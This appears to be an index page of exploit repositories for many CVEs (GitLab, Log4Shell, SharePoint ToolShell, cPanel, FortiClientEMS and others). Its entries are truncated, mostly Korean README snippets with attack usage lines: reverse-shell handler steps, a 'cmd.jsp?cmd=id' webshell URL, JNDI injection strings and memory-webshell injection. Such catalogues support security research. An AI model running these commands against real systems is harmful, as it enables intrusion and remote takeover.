cve-2026-9082-drupal-postgresql-rce

CVE-2026-9082 Drupal PostgreSQL SQLi를 RCE로 이 저장소에는 Ambionics 기사에서 설명된 Drupal JSON:API PostgreSQL SQL 인젝션을 위한 로컬 랩과 간단한 익스플로잇이 포함되어 있습니다. 익스플로잇의 중요한 부분은 PostgreSQL 권한 상승입니다: 인젝션이 PostgreSQL 슈퍼유저로 SELECT 표현식을 평가할 수 있게 되면, 대형 객체를 통해 네이티브 프리로드 라이브러리를 작성하고, postgresql.auto.conf를 다시 로드하며,...

CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE 전적으로 https://github.com/dotPY-hax/gitlabRCE 에 기반하며, 해당 스크립트는 저에게 작동하지 않았고 HTML 파싱 부분이 번거로워 보여서 JS로 다시 작성했습니다. 사용법 평소 방식대로 리버스 셸 핸들러를 시작한 다음 이 스크립트를 실행하세요: TARGETURI="https://target" TARGETEMAILDOMAIN="laboratory.htb" \ TARGETUSER="test" TARGETPASSWORD="Test pass 123" ...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 이 저장소는 hgrab-framework 의 일부입니다. dork title: "Public Repositories - Bitbucket" 영향을 받는 제품 - Bitbucket Server and Data Center 7.6 7.6.17 이전 - Bitbucket Server and Data Center 7.17 7.17.10 이전 - Bitbucket Server and Data Center 7.21 7.21.4 이전 - Bitbucket Server and Da...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - File Manager 권한 익스플로잇 이 PoC를 테스트하기 위한 취약한 애플리케이션은 Docker 이미지로 여기에서 찾을 수 있습니다. 사전 요구 사항: Python3 Requests 모듈 설명 취약점 원격 코드 실행으로 이어지는 부적절한 접근 제어 안전한 사용자비권한 사용자는 기본적으로 제한되어야 하는 File Manager 모듈에 접근할 수 있습니다. 익스플로잇 페이로드 부적절한 접근 제어 취약점을 이용하여 cgi 파일을 webmin...

CVE-2022-30778

경고 이 취약점은 철회되었습니다. Override 이것은 CVE-2021-43503에 관한 것입니다. 요구 사항 PHP = 8.0 Composer 취약점 재현 1. 서비스 시작 composer install cp .env.example .env php artisan key:generate php artisan serve it will listening 8000 port in localhost 2. PoC queueResolver = "system"; namespace Illuminate\Broadcasting use...

CVE-2022-29465

CVE-2022-29464 go run main.go 请输入目标地址, 如 https://127.0.0.1 https://127.0.0.1:9443 https://127.0.0.1:9443/authenticationendpoint/cmd.jsp?cmd=id...

Attackers Target Rejetto HFS Flaw That Enables Admin Session Forgery and RCE

A critical security flaw impacting Rejetto HTTP File Server HFS is witnessing active exploitation attempts, according to VulnCheck. The vulnerability in question is CVE-2026-61500 CVSS score: 9.3, a case of session forgery stemming from the use of a weak pseudo-random number generator PRNG that c...

kibana-prototype-pollusion

CVE-2019-7609 5.6.15 이전 및 6.6.1 이전의 Kibana 버전은 Timelion 시각화 도구에서 임의 코드 실행 취약점을 포함합니다. Timelion 애플리케이션에 접근할 수 있는 공격자는 JavaScript 코드를 실행하려는 요청을 보낼 수 있습니다. 이로 인해 공격자가 호스트 시스템에서 Kibana 프로세스의 권한으로 임의 명령을 실행할 수 있습니다. CVSS: 블로그: https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609...

CVE-2024-34102

Cosmic Sting: CVE-2024-34102 익스플로이터 Cosmic Sting은 CVE-2024-34102 원격 코드 실행 취약점을 익스플로잇하기 위해 설계된 Go 기반 도구입니다. CVE-2024-34102 상세 정보 Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전은 XML 외부 엔티티 참조'XXE'를 부적절하게 제한하는 취약점의 영향을 받으며, 이로 인해 임의 코드 실행이 발생할 수 있습니다. 공격자는 외부 엔티티를 참조하는 조작된 XML 문서를 전송하...

CVE-2023-34152

CVE-2023-34152 ImageMagick 6.9.6-4에 영향을 미치는 RCE 취약점입니다. 이 취약점을 통해 공격자는 피해자 시스템에서 명령을 실행할 수 있습니다. 따라서 원격 명령 실행이 가능합니다. 이는 fullwaywang의 CVE-2023-34152 발견에서 영감을 받은 POC입니다. 취약점 공개 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 설명 OpenBlob의 임의 코드 실행 취약점셸 명령 주입으로, 실제로는 CVE-2016-5118에 대한 불완전한...

CVE-2021-40444-exp

CVE-2021-40444 PoC 악성 docx 생성기로 CVE-2021-40444Microsoft Office Word 원격 코드 실행를 악용합니다. 이 스크립트는 실제 환경에서 사용된 샘플 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab를 설치해야 합니다sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요. 생성된 cab이 작동하지...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 사용 방법: python exploit.py -u -c 예: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

Next.js-RCE-Scanner-BurpSuite-Extension-

CVE-2025-55182 Next.js RCE Burp 확장 플러그인 기능 패시브 스캔 : Burp를 통과하는 모든 Next.js 사이트를 자동으로 탐지합니다. 메모리 웹셸 주입 v2.2 New! 대상 요청을 우클릭하고 AntSword 메모리 웹셸 주입을 선택합니다. GET 및 POST 두 가지 유형의 메모리 웹셸을 지원합니다. 연결 주소 : http://target/qaz 연결 비밀번호 : nb 인코더 : default 특정 인코더 불필요 주입에 성공하면 AntSword로 해당 주소에 직접 연결하여 관리할 수 있습니다. 취...

CVE-2021-31166

CVE-2021-31166 설명 - CVE-2021-31166에 대한 PoC: Windows HTTP 프로토콜 스택 원격 코드 실행 취약점 - antx가 2021-09-27에 생성함. 세부 정보 - ./trigger.gifPoc-Gif CVE 심각도 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH - privilegesRequired:...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228을 활용하여 RMI와 LDAP 두 가지 방식으로 코드를 원격 주입하는 예제입니다. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer와 LdapServer 실행은 Python3에 의존합니...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla 컴포넌트 인증 없는 파일 업로드 RCE 분할 컨트롤러 업로드 우회 → 직접 쓰기 태스크 → /downloads/shell.php → RCE 개요 CVE-2026-57827 은 Joomla용으로 널리 사용되는 파일 관리 및 다운로드 컴포넌트인 RSFiles!comrsfiles 버전 발견자: Phil Taylor, mySites.guru 2026년 7월 10일 공급업체: RSJoomla rsjoomla.com 컴포넌트: comrsfiles 취약점 메커니즘 근본 원인...

DVS

DCOM Vulnerability Scanner AKA Devious swiss army knife - Lateral movement using DCOM Objects Did you ever wonder how you can move laterally through internal networks? or interact with remote machines without alerting EDRs? Let's assume that we have a valid credentials, or an active session with...

CVE-2025-48703

🛡️ CVE-2025-48703 - cPanel 파일 관리자의 원격 코드 실행RCE 📌 설명 CVE-2025-48703 은 웹 호스팅 제어판예: cPanel의 filemanager 모듈에서 발생하는 원격 코드 실행RCE 취약점입니다. 이는 acc=changePerm 함수의 살균되지 않은 입력 처리 로 인해 발생하며, 공격자가 ttotal 매개변수를 사용하여 임의의 시스템 명령을 주입하고 실행할 수 있게 합니다. 🧨 영향 이 취약점으로 공격자는 다음을 수행할 수 있습니다: 대상 서버에서 임의의 명령을 실행합니다. 지속적인 액세스를...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : FortiClientEMS 내 인증 전 SQLi RCE FortiClientEMS 7.4.4에서의 인증되지 않은 SQL 인젝션 관리 GUI로 조작된 HTTP 요청을 통한 잠재적 원격 코드 실행 📋 개요 CVE-2026-21643 은 Fortinet FortiClient Endpoint Management Server FortiClientEMS 버전 7.4.4 에만 영향을 미치는 치명적인 SQL 인젝션 취약점CWE-89입니다. 인증되지 않은 원격 공격자는 웹 기반 관리...

CVE-2019-19609-EXPLOIT

CVE-2019-19609-EXPLOIT CVE-2019-19609 Strapi 3.0.0-beta.17.7 이하 버전에서의 원격 코드 실행에 대한 익스플로잇입니다. 이 취약점이 있는 상황에 직면했지만 공개된 익스플로잇이 없어 직접 만들어서 공유합니다. 설치 git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT 사용법 cd CVE-2019-19609-EXPLOIT python exploit.py -d DOMAINORIP -jwt JSONWEBTOKEN -l LHOST...